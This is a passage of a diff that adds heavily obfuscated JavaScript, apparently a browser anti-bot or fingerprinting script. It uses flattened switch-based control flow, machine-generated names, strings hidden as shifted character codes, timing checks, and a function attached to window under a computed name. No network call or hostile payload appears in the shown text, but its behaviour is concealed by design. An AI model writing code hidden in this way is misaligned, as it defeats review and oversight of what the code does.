} + _$te = _$ts; + _$le = _$LC; + _$he = _$fs; + _$ge = _$te[_$le](_$he); + _$ts = _$ge; + _$te = _$Lf; + _$ks = _$te; + _$le = 1; + _$bs = _$le; + _$te = _$bs; + _$le = 1; + _$he = _$te + _$le; + _$bs = _$he; + _$te = 1; + _$ks = _$te; + _$te = _$BC; + _$ls = _$te; + _$te = _$bs; + _$ks = _$te; + _$te = 210944; + _$le = 206848; + _$he = 237568; + _$ge = 157696; + _$ue = 227328; + _$pe = 225280; + _$ye = 237568; + _$we = 212992; + _$We = [_$te, _$le, _$he, _$ge, _$ue, _$pe, _$ye, _$we]; + _$bs = _$We; + for (_$hs = 0; _$hs < _$bs.length; _$hs++) { + _$te = _$ls; + _$le = _$bs; + _$he = _$hs; + _$ge = _$le[_$he]; + _$ue = 11; + _$pe = _$ge >> _$ue; + _$ye = _$bW(_$pe); + _$we = _$te + _$ye; + _$ls = _$we + } + _$te = _$bs; + _$le = _$LC; + _$he = _$ks; + _$ge = _$te[_$le](_$he); + _$bs = _$ge; + _$te = _$es; + _$le = _$rs; + _$he = _$ss; + _$ge = _$le[_$he](); + _$ue = _$te + _$ge; + _$pe = _$BC; + _$ye = _$ue + _$pe; + _$we = _$rs; + _$We = _$ls; + _$Ye = _$we[_$We](); + _$Ue = 1; + _$Oe = _$Ye + _$Ue; + _$Pe = _$ye + _$Oe; + _$Ge = _$rs; + _$Ne = _$is; + _$Ze = _$Ge[_$Ne](); + _$ze = _$Pe + _$Ze; + _$gs = _$ze; + _$Ee = 19; + _$us = _$Ee; + _$te = []; + _$gY = _$te; + _$te = _$gY; + _$le = _$PC; + _$he = _$te[_$le]; + _$ge = 255; + _$ue = _$he > _$ge; + if (_$ue) { + _$te = 5; + _$us += _$te + } else { + _$te = 3; + _$us -= _$te + } + _$te = false; + _$ps = _$te; + try { + _$te = Win; + _$ps = _$te + } catch (_$a) {} + for (_$ys = 0; _$ys < _$gs.length; _$ys++) { + _$te = _$gY; + _$le = _$LC; + _$he = _$gs; + _$ge = _$_C; + _$ue = _$ys; + _$pe = _$he[_$ge](_$ue); + _$ye = _$OC; + _$we = _$pe[_$ye](); + _$We = _$us; + _$Ye = _$we ^ _$We; + _$te[_$le](_$Ye) + } + } + _$ie -= 55; + break; + case 203: + _$Wr = _$MW; + _$ie -= 189; + break; + case 204: + for (_$ws = 0; _$ws < _$br.length; _$ws++) { + _$te = _$Is; + _$le = _$br; + _$he = _$ws; + _$ge = _$le[_$he]; + _$ue = 14; + _$pe = _$ge >> _$ue; + _$ye = _$bW(_$pe); + _$we = _$te + _$ye; + _$Is = _$we + } + _$ie -= 131; + break; + case 205: + _$As = _$Ss; + _$ie -= 67; + break; + case 206: + _$ds = _$_f; + _$Ms = 1; + _$ie -= 21; + break; + case 207: + _$hv = 1; + _$ie -= 120; + break; + case 208: + _$ke = [901120, 794624, 966656, 860160, 843776, 794624, 950272, 909312, 933888]; + _$ie -= 27; + break; + case 209: + _$Is = _$BC; + _$ie -= 168; + break; + case 210: + _$As = 1; + _$ie -= 48; + break; + case 211: + _$As = _$Rf; + _$Ss = 1; + _$ie -= 92; + break; + case 212: + _$oe = 1; + _$ie -= 187; + break; + case 213: + _$kr = 1; + _$ie += 9; + break; + case 214: + _$Zr = [194, 224, 224, 216, 242]; + _$ie -= 94; + break; + case 215: + _$ms = _$BC; + _$ie -= 138; + break; + case 216: + _$Iv = [6225920, 7340032, 6815744, 6356992, 7208960, 7602176, 7274496, 7143424]; + _$ie -= 184; + break; + case 217: + _$Ms = [7040, 6208, 7552, 6720, 6592, 6208, 7424, 7104, 7296]; + _$ie -= 91; + break; + case 218: + _$Ts = _$c + _$v; + _$js = _$bW(_$Ts.d(0) - _$Ts.length); + _$ie -= 182; + break; + case 219: + _$pv = _$yv; + _$ie -= 97; + break; + case 220: + _$Cs = (new Date)[_$Qs](); + _$Ds = _$lt; + _$Ks = 1; + _$ie -= 157; + break; + case 221: + _$Qs = _$BC; + _$Ws = 1; + _$Ys = -1; + _$Us = 2; + _$Os = 0; + _$ie -= 47; + break; + case 222: + if (_$Ws + _$Os < _$Ys) { + _$te = _$Ws; + _$le = _$Us; + _$he = _$Os; + _$ge = _$le + _$he; + _$ue = _$te >> _$ge; + _$pe = _$Ws; + _$ye = _$Ys; + _$we = _$pe - _$ye; + _$We = _$ue >> _$we; + _$Ye = _$Os; + _$Ue = _$We >> _$Ye; + _$Os = _$Ue + } + _$ie -= 13; + break + } + } + } + _$cW = window; + _$vW = _$kU(); + _$sW = "C"; + _$nW = _$vW + _$sW; + _$fW = _$MU; + _$cW[_$nW] = _$fW; + function _$MU() { + var _$a = _$Ef; + var _$e = _$zf; + var _$r = _$Zf; + var _$c = _$Nf; + var _$v = _$Mw; + var _$s = _$Gf; + var _$n = _$Pf; + var _$f = _$Of; + var _$t = _$Uf; + var _$i = _$Jd; + var _$o = _$yK; + var _$k = _$oA; + var _$b = _$yA; + var _$l = _$pK; + var _$h = _$Yf; + var _$g = _$wK; + var _$u = _$wA; + var _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$L, _$V, _$q, _$H, _$x, _$B, _$X, _$F, _$J, _$$, _$aa, _$ea, _$ra, _$ca, _$va, _$sa, _$na, _$fa, _$ta, _$ia, _$oa, _$ka, _$ba, _$la, _$ha; + _$p = 0; + _$y = _$p; + _$w = 16; + _$d = 26; + _$M = 4; + _$I = 12; + _$A = 14; + _$S = 7; + _$m = 21; + _$T = 30; + _$j = 42; + _$C = 15; + _$D = 27; + _$K = 28; + _$Q = 35; + _$W = 17; + _$Y = 23; + _$U = 10; + _$O = [_$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U]; + _$P = _$O; + while (!![]) { + switch (_$P[_$y++]) { + case 1: + _$H = _$H - _$q[2]; + break; + case 2: + _$H = _$H / _$q[4]; + break; + case 3: + _$q[4] = _$H - _$q[5]; + break; + case 4: + _$G = _$g + _$i + _$k + _$h + _$l + _$o + _$b + _$u; + break; + case 5: + _$N = _$f + _$s + _$t + _$c + _$n + _$v; + _$Z = 1; + _$z = [11, 22, 3, 39, 43, 33, 20, 31, 13, 6]; + break; + case 6: + for (_$E = 0; _$E < _$N.length; _$E++) { + _$p = _$ba; + _$w = _$LC; + _$d = _$N; + _$M = _$_C; + _$I = _$Z; + _$A = _$E; + _$S = _$I[_$A]; + _$m = _$d[_$M](_$S); + _$p[_$w](_$m) + } + break; + case 7: + _$H = _$H + _$q[6]; + break; + case 8: + _$R = _$Wf; + _$_ = 1; + break; + case 9: + _$Z = _$Z.p(_$N); + break; + case 10: + _$H = _$H + _$q[8]; + break; + case 11: + if (_$q[8] - _$q[5] > 0) { + _$p = _$H; + _$w = _$q; + _$d = 4; + _$M = _$w[_$d]; + _$I = _$p + _$M; + _$H = _$I; + _$p = _$H; + _$w = _$q; + _$d = 6; + _$M = _$w[_$d]; + _$I = _$p + _$M; + _$A = _$q; + _$S = 5; + _$m = _$A[_$S]; + _$T = _$I - _$m; + _$H = _$T + } else { + _$p = _$H; + _$w = _$q; + _$d = 0; + _$M = _$w[_$d]; + _$I = _$p * _$M; + _$H = _$I; + _$p = _$H; + _$w = _$q; + _$d = 2; + _$M = _$w[_$d]; + _$I = _$p - _$M; + _$H = _$I + } + break; + case 12: + _$H = _$q[4] + _$q[6]; + break; + case 13: + _$H = _$H - _$q[2]; + break; + case 14: + _$L = _$G.length; + break; + case 15: + if (_$q[6] - _$q[5] > 0) { + _$p = _$H; + _$w = _$q; + _$d = 3; + _$M = _$w[_$d]; + _$I = _$p + _$M; + _$H = _$I; + _$p = _$H; + _$w = _$q; + _$d = 2; + _$M = _$w[_$d]; + _$I = _$p + _$M; + _$A = _$q; + _$S = 5; + _$m = _$A[_$S]; + _$T = _$I - _$m; + _$H = _$T + } else { + _$p = _$H; + _$w = _$q; + _$d = 6; + _$M = _$w[_$d]; + _$I = _$p * _$M; + _$H = _$I; + _$p = _$H; + _$w = _$q; + _$d = 2; + _$M = _$w[_$d]; + _$I = _$p - _$M; + _$H = _$I + } + break; + case 16: + _$V = _$r + _$a + _$e; + _$q = []; + _$x = function(_$a, _$e) { + var _$r = _$OA; + var _$c = _$DA; + var _$v = _$vg; + var _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y; + for (_$s = 0; _$s < _$a.length; _$s++) { + _$n = _$a; + _$f = _$s; + _$t = _$n[_$f]; + _$i = _$e; + _$o = _$t === _$i; + if (_$o) { + _$n = _$s; + return _$n + } + } + _$n = []; + _$k = _$n; + _$f = _$c + _$v + _$r; + _$b = _$f; + for (_$l = _$b.length - 1; _$l >= 0; _$l--) { + _$n = _$k; + _$f = _$LC; + _$t = _$b; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$k; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$k = _$i; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 4; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$EC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$k; + _$f = _$b; + _$t = _$n + _$f; + _$y = _$t; + _$n = []; + _$b = _$n; + for (_$l = _$b.length - 1; _$l >= 4; _$l--) { + _$n = _$b; + _$f = _$LC; + _$t = _$y; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$b; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$b = _$i; + _$n = _$zC; + _$b += _$n; + _$n = _$ZC; + _$b += _$n; + _$n = _$_C; + _$b += _$n; + _$n = _$zC; + _$b += _$n; + _$n = _$y; + _$k = _$n; + _$n = _$b; + _$y = _$n; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 7; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$NC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$GC; + _$k += _$n; + _$n = 1; + _$f = -_$n; + return _$f + } + ; + break; + case 17: + _$H = _$H - _$q[6]; + _$sa.apply(_$P, _$ca); + break; + case 18: + _$B = _$BC; + break; + case 19: + _$R = _$_; + break; + case 20: + _$H = _$H / _$q[8]; + break; + case 21: + _$ea = 0; + _$ca = [46, 2, 36, 29, 1, 5, 34, 40, 38, 44]; + break; + case 22: + _$N = _$N * 5; + break; + case 23: + _$X = _$BC; + break; + case 24: + this[_$B] = _$ba.j(_$BC); + return; + case 25: + _$_ = _$_ + 1; + break; + case 26: + for (_$va = 0; _$va < 10; _$va++) { + _$p = _$q; + _$w = _$LC; + _$d = _$va; + _$M = 6; + _$I = _$d + _$M; + _$p[_$w](_$I) + } + _$sa = _$P.p; + break; + case 27: + _$X = _$V.length / 4; + break; + case 28: + _$q[8] = _$H / _$q[4]; + break; + case 29: + this[_$X] = [[1, 1, 0, 1, 0], [1, 1, 1, 0, 0], [1, 0, 0, 1, 1], [0, 1, 0, 1, 1]]; + break; + case 30: + _$H = _$H * _$q[7]; + break; + case 31: + _$Z = [1, 18, 16, 19, 20, 2, 21, 5, 17, 22, 23, 3, 4, 24, 14, 25, 26, 15, 7, 6, 13, 8, 12, 11, 10, 27, 9, 0]; + break; + case 32: + _$_ = [48640, 18432, 24576]; + break; + case 33: + _$N = _$Z; + _$na = [9, 8, 25, 45, 18, 19, 32, 41, 37, 24]; + _$sa.apply(_$P, _$na); + break; + case 34: + _$H = _$H * _$q[6]; + break; + case 35: + for (_$fa = 0; _$fa < _$X; _$fa++) { + _$p = _$G; + _$w = _$V; + _$d = _$_C; + _$M = _$ea; + _$I = _$w[_$d](_$M); + _$A = _$x(_$p, _$I); + _$aa = _$A; + _$ea++; + _$p = _$G; + _$w = _$V; + _$d = _$_C; + _$M = _$ea; + _$I = _$w[_$d](_$M); + _$A = _$x(_$p, _$I); + _$$ = _$A; + _$ea++; + _$p = _$G; + _$w = _$V; + _$d = _$_C; + _$M = _$ea; + _$I = _$w[_$d](_$M); + _$A = _$x(_$p, _$I); + _$J = _$A; + _$ea++; + _$p = _$G; + _$w = _$V; + _$d = _$_C; + _$M = _$ea; + _$I = _$w[_$d](_$M); + _$A = _$x(_$p, _$I); + _$F = _$A; + _$ea++; + _$p = _$ra; + _$w = _$fa; + _$d = _$aa; + _$M = _$L; + _$I = _$d * _$M; + _$A = _$L; + _$S = _$I * _$A; + _$m = _$L; + _$T = _$S * _$m; + _$j = _$$; + _$C = _$L; + _$D = _$j * _$C; + _$K = _$L; + _$Q = _$D * _$K; + _$W = _$T + _$Q; + _$Y = _$J; + _$U = _$L; + _$O = _$Y * _$U; + _$ta = _$W + _$O; + _$ia = _$F; + _$oa = _$ta + _$ia; + _$p[_$w] = _$oa + } + break; + case 36: + if (_$H - _$q[6]) { + _$p = _$H; + _$w = _$q; + _$d = 3; + _$M = _$w[_$d]; + _$I = _$p + _$M; + _$H = _$I + } + break; + case 37: + _$_ = _$_.p(_$R); + break; + case 38: + _$ka = _$q[0]; + break; + case 39: + _$ba = []; + break; + case 40: + _$Z = _$N; + _$sa.apply(_$P, _$z); + break; + case 41: + for (_$la = 0; _$la < _$_.length; _$la++) { + _$p = _$B; + _$w = _$_; + _$d = _$la; + _$M = _$w[_$d]; + _$I = 9; + _$A = _$M >> _$I; + _$S = _$bW(_$A); + _$m = _$p + _$S; + _$B = _$m + } + break; + case 42: + _$ra = []; + break; + case 43: + _$H = _$H - _$q[2]; + break; + case 44: + _$N = 1; + break; + case 45: + _$R = 1; + break; + case 46: + for (_$ha = 0; _$ha < _$ra.length; _$ha++) { + _$p = _$ra; + _$w = _$ha; + _$d = _$p[_$w]; + _$M = _$bW(_$d); + _$X += _$M + } + break + } + } + } + _$cW = _$MU; + _$vW = _$uU(); + _$sW = _$cW[_$vW]; + _$nW = "z"; + _$fW = _$IU; + _$sW[_$nW] = _$fW; + function _$IU(_$a, _$e) { + var _$r = _$Qf; + var _$c = _$Kf; + var _$v = _$Df; + var _$s = _$Cf; + var _$n = _$jf; + var _$f = _$Tf; + var _$t = _$mf; + var _$i = _$Sf; + var _$o = _$Af; + var _$k = _$_y; + var _$b = _$If; + var _$l = _$$d; + var _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R; + _$h = _$c + _$o + _$r + _$f + _$b + _$l + _$v + _$t + _$k + _$s + _$n + _$i; + _$g = _$h; + function _$_(_$a, _$e, _$r) { + var _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T; + _$c = Math; + _$v = _$Mf; + _$s = Math; + _$n = _$df; + _$f = _$s[_$n](); + _$t = _$e; + _$i = _$a; + _$o = _$t - _$i; + _$k = 1; + _$b = _$o + _$k; + _$l = _$f * _$b; + _$h = _$a; + _$u = _$l + _$h; + _$p = _$c[_$v](_$u); + _$y = _$p; + _$w = _$g; + _$d = _$PC; + _$M = _$w[_$d]; + _$I = 10; + _$A = _$M - _$I; + _$S = _$A; + _$c = _$r; + _$v = 0; + _$s = _$c == _$v; + _$n = _$s; + if (_$n) { + _$m = _$y; + _$T = _$S; + _$n = _$m >= _$T + } + if (_$n) { + _$c = _$a; + _$v = _$e; + _$s = _$r; + _$n = _$_(_$c, _$v, _$s); + _$y = _$n + } + _$c = _$y; + return _$c + } + function _$L(_$a) { + var _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b; + _$e = 0; + _$r = _$e; + _$c = _$g; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$t = _$f; + _$i = _$BC; + _$o = _$i; + _$e = _$a; + _$c = _$e; + if (!_$c) { + _$c = 15 + } + _$a = _$c; + for (_$k = 0; _$k < _$a; _$k++) { + _$e = _$r; + _$c = _$t; + _$v = _$k; + _$s = _$_(_$e, _$c, _$v); + _$b = _$s; + _$e = _$g; + _$c = _$b; + _$v = _$e[_$c]; + _$o += _$v + } + _$e = _$o; + return _$e + } + _$h = 44; + _$u = _$L(_$h); + _$a = _$u; + _$h = 0; + _$p = _$h; + _$u = 22; + _$y = 23; + _$w = 17; + _$d = 10; + _$M = 7; + _$I = 9; + _$A = 25; + _$S = 5; + _$m = 4; + _$T = 3; + _$j = 2; + _$C = 12; + _$D = 18; + _$K = 13; + _$Q = [_$u, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K]; + _$W = _$Q; + while (!![]) { + switch (_$W[_$p++]) { + case 1: + return _$SU(1253 - 934, _$YW).slice(8, 125); + case 2: + if (_$z < 0) { + _$h = _$Z; + _$u = _$N; + _$y = _$E; + _$w = _$u / _$y; + _$d = _$h >> _$w; + _$M = _$N; + _$I = _$d >> _$M; + _$z = _$I + } + break; + case 3: + if (_$N + _$E < _$Z) { + _$h = _$N; + _$u = _$z; + _$y = _$E; + _$w = _$u + _$y; + _$d = _$h >> _$w; + _$M = _$N; + _$I = _$Z; + _$A = _$M - _$I; + _$S = _$d >> _$A; + _$m = _$E; + _$T = _$S >> _$m; + _$E = _$T + } + break; + case 4: + _$sU(); + break; + case 5: + if (_$Z + _$z > 0) { + _$h = _$Z; + _$u = _$E; + _$y = _$h + _$u; + _$E = _$y; + _$h = _$Z; + _$u = _$E; + _$y = _$h - _$u; + _$z = _$y + } + break; + case 6: + if (!_$N) { + _$h = 5; + _$u = _$z; + _$y = _$h + _$u; + _$w = 3; + _$d = _$y >> _$w; + _$N = _$d + } + break; + case 7: + _$Z = -5; + _$Y = [20, 11, 6, 15, 8, 24, 19, 21, 14, 1]; + break; + case 8: + _$cU(this[_$fU()]); + break; + case 9: + _$P = _$a; + break; + case 10: + if (_$N && !_$Z) { + _$h = _$z; + _$u = 3; + _$y = _$h % _$u; + _$E = _$y; + _$h = _$Z; + _$u = _$E; + _$y = _$h + _$u; + _$E = _$y + } + break; + case 11: + if (!_$Z) { + _$h = _$z; + _$u = 2; + _$y = _$Z; + _$w = _$u + _$y; + _$d = _$N; + _$M = _$w - _$d; + _$I = _$h << _$M; + _$z = _$I + } + break; + case 12: + _$yW[_$bU()][_$lU()][_$wU()] = _$G; + break; + case 13: + if (_$Z + _$z > 0) { + _$h = _$z; + _$u = 2; + _$y = _$h << _$u; + _$z = _$y; + _$h = _$z; + _$u = _$E; + _$y = _$E; + _$w = _$u + _$y; + _$d = _$h >> _$w; + _$M = _$N; + _$I = _$d >> _$M; + _$Z = _$I; + _$h = _$Z; + _$u = _$E; + _$y = _$h / _$u; + _$E = _$y + } + break; + case 14: + _$yW[_$SU(724 - 648)][_$SU(904 - 223)][_$ZC] = (new Date)[_$SU(509 - 350)]() - _$G; + break; + case 15: + _$aU(_$P, _$e); + case 16: + if (_$Z + _$E > 0) { + _$h = _$z; + _$u = 4; + _$y = _$Z; + _$w = _$u + _$y; + _$d = _$h >> _$w; + _$M = 3; + _$I = _$Z; + _$A = _$M * _$I; + _$S = _$z; + _$m = _$A + _$S; + _$T = _$d >> _$m; + _$j = 2; + _$C = _$T << _$j; + _$E = _$C + } + break; + case 17: + break; + case 18: + if (_$z + _$E < 0) { + _$h = _$N; + _$u = _$z; + _$y = _$E; + _$w = _$u * _$y; + _$d = _$h << _$w; + _$M = _$N; + _$I = _$d >> _$M; + _$Z = _$I + } + _$R.apply(_$W, _$Y); + break; + case 19: + _$O = _$nU(_$U, _$P); + break; + case 20: + _$U = _$dU(_$P, _$e, _$G); + break; + case 21: + _$SU(232 - 62, _$O, _$P, this[_$SU(872 - 130)], _$G); + break; + case 22: + _$G = (new Date)[_$tU()](); + _$N = 1; + _$Z = -1; + _$z = 2; + _$E = 0; + _$R = _$W.p; + break; + case 23: + if (_$N + _$Z > 0) { + _$h = _$z; + _$u = 3; + _$y = _$h >> _$u; + _$E = _$y; + _$h = _$Z; + _$u = _$E; + _$y = _$h + _$u; + _$E = _$y; + _$h = _$N; + _$u = _$z; + _$y = _$E; + _$w = _$u * _$y; + _$d = _$h >> _$w; + _$M = _$N; + _$I = _$d >> _$M; + _$Z = _$I; + _$h = _$Z; + _$u = _$E; + _$y = _$h / _$u; + _$E = _$y + } + break; + case 24: + _$iU(); + break; + case 25: + if (_$N + _$Z + _$N > 0) { + _$h = _$N; + _$u = _$z; + _$y = _$E; + _$w = _$u + _$y; + _$d = _$h >> _$w; + _$M = _$N; + _$I = _$d >> _$M; + _$Z = _$I; + _$h = _$Z; + _$u = _$E; + _$y = _$h + _$u; + _$E = _$y + } + break + } + } + } + function _$AU() { + var _$a = _$SC; + var _$e = _$mC; + var _$r = _$wf; + var _$c = _$yf; + var _$v = _$pf; + var _$s = _$uf; + var _$n = _$gf; + var _$f = _$hf; + var _$t = _$lf; + var _$i = _$Bk; + var _$o = _$bf; + var _$k = _$kf; + var _$b = _$of; + var _$l = _$if; + var _$h = _$Mb; + var _$g = _$tf; + var _$u = _$ff; + var _$p = _$nf; + var _$y = _$Vk; + var _$w = _$sf; + var _$d = _$vf; + var _$M = _$cf; + var _$I = _$rf; + var _$A = _$ef; + var _$S = _$af; + var _$m = _$$n; + var _$T = _$Jn; + var _$j = _$Fn; + var _$C = _$Xn; + var _$D = _$ob; + var _$K = _$bb; + var _$Q = _$Jk; + var _$W = _$Bn; + var _$Y = _$$k; + var _$U = _$xn; + var _$O = _$Hn; + var _$P = _$qn; + var _$G = _$Vn; + var _$N = _$Ln; + var _$Z = _$_n; + var _$z = _$gb; + var _$E = _$Rn; + var _$R = _$En; + var _$_ = _$zn; + var _$L = _$FS; + var _$V = _$XS; + var _$q = _$xS; + var _$H = _$BS; + var _$x = _$Zn; + var _$B = _$Nn; + var _$X = _$Gn; + var _$F = _$Pn; + var _$J = _$On; + var _$$ = _$Un; + var _$aa = _$Yn; + var _$ea = _$Wn; + var _$ra = _$Qn; + var _$ca = _$Kn; + var _$va = _$Dn; + var _$sa = _$Cn; + var _$na = _$jn; + var _$fa = _$Tn; + var _$ta = _$mn; + var _$ia = _$Sn; + var _$oa = _$An; + var _$ka = _$In; + var _$ba = _$Mn; + var _$la = _$dn; + var _$ha = _$wn; + var _$ga = _$yn; + var _$ua = _$pn; + var _$pa = _$un; + var _$ya = _$gn; + var _$wa = _$hn; + var _$da = _$ln; + var _$Ma = _$bn; + var _$Ia = _$kn; + var _$Aa = _$on; + var _$Sa = _$in; + var _$ma = _$tn; + var _$Ta = _$fn; + var _$ja = _$nn; + var _$Ca = _$sn; + var _$Da = _$vn; + var _$Ka = _$cn; + var _$Qa = _$rn; + var _$Wa = _$en; + var _$Ya = _$an; + var _$Ua = _$LD; + var _$Oa = _$em; + var _$Pa = _$aK; + var _$Ga = _$AA; + var _$Na = _$ED; + var _$Za = _$$s; + var _$za = _$Js; + var _$Ea = _$SA; + var _$Ra = _$Dj; + var _$_a = _$ci; + var _$La = _$Fs; + var _$Va = _$Xs; + var _$qa = _$Bs; + var _$Ha = _$bm; + var _$xa = _$qD; + var _$Ba = _$yQ; + var _$Xa = _$XD; + var _$Fa = _$hQ; + var _$Ja = _$xs; + var _$$a = _$Hs; + var _$ae = _$qs; + var _$ee = _$IQ; + var _$re = _$wm; + var _$ce = _$lQ; + var _$ve = _$Vs; + var _$se = _$Ji; + var _$ne = _$Ls; + var _$fe = _$TQ; + var _$te = _$Ij; + var _$ie = _$_s; + var _$oe = _$Rs; + var _$ke = _$mj; + var _$be = _$Iy; + var _$le = _$AQ; + var _$he = _$Kj; + var _$ge = _$Fj; + var _$ue, _$pe, _$ye, _$we, _$de, _$Me, _$Ie, _$Ae, _$Se, _$me, _$Te, _$je, _$Ce, _$De, _$Ke, _$Qe, _$We, _$Ye, _$Ue, _$Oe, _$Pe, _$Ge, _$Ne, _$Ze, _$ze, _$Ee, _$Re, _$_e, _$Le, _$Ve, _$qe, _$He, _$xe, _$Be, _$Xe, _$Fe, _$Je, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr, _$nr, _$fr, _$tr, _$ir, _$or, _$kr, _$br, _$lr, _$hr, _$gr, _$ur, _$pr, _$yr, _$wr, _$dr, _$Mr, _$Ir, _$Ar, _$Sr, _$mr, _$Tr, _$jr, _$Cr, _$Dr, _$Kr, _$Qr, _$Wr, _$Yr, _$Ur, _$Or, _$Pr, _$Gr, _$Nr, _$Zr, _$zr, _$Er, _$Rr, _$_r, _$Lr, _$Vr, _$qr, _$Hr, _$xr, _$Br, _$Xr, _$Fr, _$Jr, _$$r, _$ac, _$ec, _$rc, _$cc, _$vc, _$sc, _$nc, _$fc, _$tc, _$ic, _$oc, _$kc, _$bc, _$lc, _$hc, _$gc, _$uc, _$pc, _$yc, _$wc, _$dc, _$Mc, _$Ic, _$Ac, _$Sc, _$mc, _$Tc, _$jc, _$Cc, _$Dc, _$Kc, _$Qc, _$Wc, _$Yc, _$Uc, _$Oc, _$Pc, _$Gc, _$Nc, _$Zc, _$zc, _$Ec, _$Rc, _$_c, _$Lc, _$Vc, _$qc, _$Hc, _$xc, _$Bc, _$Xc, _$Fc, _$Jc, _$$c, _$av, _$ev, _$rv, _$cv, _$vv, _$sv, _$nv, _$fv, _$tv, _$iv, _$ov, _$kv, _$bv, _$lv, _$hv, _$gv, _$uv, _$pv, _$yv, _$wv, _$dv, _$Mv, _$Iv, _$Av, _$Sv, _$mv, _$Tv, _$jv, _$Cv, _$Dv, _$Kv, _$Qv, _$Wv, _$Yv, _$Uv, _$Ov, _$Pv, _$Gv, _$Nv, _$Zv, _$zv, _$Ev, _$Rv, _$_v, _$Lv, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$Jv, _$$v, _$as, _$es, _$rs, _$df, _$Mf, _$If, _$Af, _$Sf, _$mf, _$Tf, _$jf, _$Cf, _$Df, _$Kf, _$Qf, _$Wf, _$Yf, _$Uf, _$Of, _$Pf, _$Gf, _$Nf, _$Zf, _$zf, _$Ef, _$Rf, _$_f, _$Lf, _$Vf, _$qf, _$Hf, _$xf, _$Bf, _$Xf, _$Ff, _$Jf, _$$f, _$at, _$et, _$rt, _$ct, _$vt, _$st, _$nt, _$ft, _$tt, _$it, _$ot, _$kt, _$bt, _$lt, _$ht, _$gt, _$ut, _$pt, _$yt, _$wt, _$dt, _$Mt, _$It, _$At, _$St, _$mt, _$Tt, _$jt, _$Ct, _$Dt, _$Kt; + function _$Qt() { + var _$a = _$wK; + var _$e = _$nw; + var _$r = _$Es; + var _$c = _$zs; + var _$v = _$fw; + var _$s = _$Zj; + var _$n = _$uC; + var _$f = _$Zs; + var _$t = _$Ns; + var _$i = _$Gs; + var _$o = _$Vu; + var _$k = _$Wo; + var _$b = _$VC; + var _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$L, _$V, _$q, _$H, _$x, _$B, _$X, _$F, _$J, _$$, _$aa, _$ea, _$ra, _$ca, _$va; + _$l = _$Ps; + _$h = _$l; + _$g = 1; + _$u = _$g; + _$p = []; + _$y = _$p; + _$w = _$b + _$k + _$o; + _$d = _$w; + _$l = _$u; + _$g = 1; + _$p = _$l + _$g; + _$u = _$p; + for (_$M = _$d.length - 1; _$M >= 0; _$M--) { + _$l = _$y; + _$g = _$LC; + _$p = _$d; + _$w = _$_C; + _$I = _$M; + _$A = _$p[_$w](_$I); + _$l[_$g](_$A) + } + _$l = 1; + _$h = _$l; + _$l = _$y; + _$g = _$RC; + _$p = _$BC; + _$w = _$l[_$g](_$p); + _$y = _$w; + _$l = _$BC; + _$S = _$l; + _$l = _$d; + _$g = _$_C; + _$p = 5; + _$w = _$l[_$g](_$p); + _$I = _$y; + _$A = _$_C; + _$m = 4; + _$T = _$I[_$A](_$m); + _$j = _$w > _$T; + if (_$j) { + _$l = _$d; + _$g = _$EC; + _$p = _$l + _$g; + _$d = _$p + } + _$l = _$u; + _$h = _$l; + _$l = _$y; + _$g = _$d; + _$p = _$l + _$g; + _$C = _$p; + _$l = 12416; + _$g = 14592; + _$p = 14592; + _$w = [_$l, _$g, _$p]; + _$u = _$w; + _$l = []; + _$d = _$l; + for (_$D = 0; _$D < _$u.length; _$D++) { + _$l = _$S; + _$g = _$u; + _$p = _$D; + _$w = _$g[_$p]; + _$I = 7; + _$A = _$w >> _$I; + _$m = _$bW(_$A); + _$T = _$l + _$m; + _$S = _$T + } + for (_$M = _$d.length - 1; _$M >= 4; _$M--) { + _$l = _$d; + _$g = _$LC; + _$p = _$C; + _$w = _$_C; + _$I = _$M; + _$A = _$p[_$w](_$I); + _$l[_$g](_$A) + } + _$l = _$u; + _$g = _$LC; + _$p = _$h; + _$w = _$l[_$g](_$p); + _$u = _$w; + _$l = _$d; + _$g = _$RC; + _$p = _$BC; + _$w = _$l[_$g](_$p); + _$d = _$w; + _$l = _$zC; + _$d += _$l; + _$l = this; + _$g = _$S; + _$p = []; + _$l[_$g] = _$p; + _$l = _$ZC; + _$d += _$l; + _$l = _$i + _$t + _$f; + _$K 